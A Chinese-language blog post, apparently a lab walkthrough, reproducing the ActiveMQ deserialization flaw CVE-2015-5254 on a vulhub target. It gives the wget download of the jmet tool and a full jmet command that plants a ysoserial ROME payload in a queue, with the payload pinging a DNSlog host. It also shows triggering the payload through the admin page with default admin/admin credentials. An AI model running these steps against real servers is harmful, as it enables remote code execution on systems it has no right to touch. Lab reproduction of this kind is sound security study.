ActiveMQ反序列化漏洞(CVE-2015-5254)复现

本文档详细介绍了如何复现ActiveMQ的CVE-2015-5254反序列化漏洞。首先,通过Nmap扫描确认靶机上的ActiveMQ端口,接着访问管理页面验证环境部署。然后,利用Java消息利用工具jmet,构造特定的命令注入到ActiveMQ的队列中。最后,通过管理页面触发队列中的Payload,成功执行命令,验证漏洞存在。

ActiveMQ反序列化漏洞(CVE-2015-5254)复现

前言

靶场使用的vulhub
靶机:192.168.44.128
kali :192.168.44.129

基础知识

MQ(Message Queue):消息队列。消息服务将消息放在队列中,在合适的时候发给接收者。发送和接收是异步的(发送者和接收者的生命周期没有必然关系)。

漏洞原理

该漏洞由于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

适用版本

ActiveMQ 5.13.0之前d的5.x版本

复现过程

  • 先扫一波端口(虽然已经知道是哪个端口),就当是复习Nmap了。通过扫描出的端口,判断为activeMQ的两个默认端口8161和61616。8161是网络管理页面端口,61616是工作端口,消息在此端口上传递。
    在这里插入图片描述

  • 访问管理页面,长这样↓,说明环境部署成功。
    在这里插入图片描述

  • 这里需要用到Java消息利用工具-- jmet,wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar,jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
    在这里插入图片描述

  • 构造利用语句,给目标的ActiveMQ添加一个名为 event 的队列,让靶场去ping DNSlog, java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping xxxxxx.ceye.io" -Yp ROME 192.168.44.128 61616jemt用法及参数说明
    在这里插入图片描述

  • 访问 192.168.44.128:8161/admin/browse.jsp?JMSDestination=event
    可以看到队列中的消息,默认密码【admin | admin】,点击任意ID即可执行该ID相应的语句。
    在这里插入图片描述

  • 成功访问DNSlog
    在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值